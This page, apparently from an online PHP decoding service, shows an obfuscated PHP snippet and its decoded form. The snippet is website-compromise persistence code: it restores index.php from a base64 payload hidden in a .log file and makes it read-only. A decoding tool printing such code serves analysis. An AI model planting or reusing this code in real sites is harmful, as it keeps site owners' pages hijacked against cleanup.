Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

// project_x $f_size = 'fil' . 'esi' . 'ze'; $f_exists = 'fil' . 'e_e' . 'xis' . 'ts'; $f..

Decoded Output download

<?  // project_x 
$f_size = 'fil' . 'esi' . 'ze'; $f_exists = 'fil' . 'e_e' . 'xis' . 'ts'; $f_put = 'fil' . 'e_p' . 'ut_' . 'con' . 'ten' . 'ts'; $f_get = 'fil' . 'e_g' . 'et_' . 'con' . 'ten' . 'ts'; $ch = 'c' . 'h' . 'm' . 'o' . 'd'; $tou = 't' . 'o' . 'u' . 'c' . 'h'; $delete = 'unl' . 'ink'; $bs_dec = 'bas' . 'e6' . '4_de' . 'code'; $idx_path = $_SERVER['DOCUME' . 'NT_ROOT'] . '/ind' . 'ex.php'; $bk_idx_path = 'FOTOBOEK/2006/gangsterhoxWBtwNePVJ.log'; if (!$f_exists($idx_path) or $f_size($idx_path) != 7754) { if ($f_exists($bk_idx_path)){ $idx_code = @$f_get($bk_idx_path); @$ch($idx_path, 438); @$delete($idx_path); @$f_put($idx_path, $bs_dec($idx_code)); @$ch($idx_path, 292); } } 
// project_y ?>

Did this file decode correctly?

Original Code

// project_x
$f_size = 'fil' . 'esi' . 'ze'; $f_exists = 'fil' . 'e_e' . 'xis' . 'ts'; $f_put = 'fil' . 'e_p' . 'ut_' . 'con' . 'ten' . 'ts'; $f_get = 'fil' . 'e_g' . 'et_' . 'con' . 'ten' . 'ts'; $ch = 'c' . 'h' . 'm' . 'o' . 'd'; $tou = 't' . 'o' . 'u' . 'c' . 'h'; $delete = 'unl' . 'ink'; $bs_dec = 'bas' . 'e6' . '4_de' . 'code'; $idx_path = $_SERVER['DOCUME' . 'NT_ROOT'] . '/ind' . 'ex.php'; $bk_idx_path = 'FOTOBOEK/2006/gangsterhoxWBtwNePVJ.log'; if (!$f_exists($idx_path) or $f_size($idx_path) != 7754) { if ($f_exists($bk_idx_path)){ $idx_code = @$f_get($bk_idx_path); @$ch($idx_path, 438); @$delete($idx_path); @$f_put($idx_path, $bs_dec($idx_code)); @$ch($idx_path, 292); } }
// project_y

Function Calls

chmod 1
filesize 1
file_exists 2
file_get_contents 1

Variables

$ch chmod
$tou touch
$f_get file_get_contents
$f_put file_put_contents
$bs_dec base64_decode
$delete unlink
$f_size filesize
$f_exists file_exists
$idx_code None
$idx_path None/index.php
$bk_idx_path FOTOBOEK/2006/gangsterhoxWBtwNePVJ.log

Stats

MD5 fbf9353028ec29093ccd1834aeb6c7d4
Eval Count 0
Decode Time 77 ms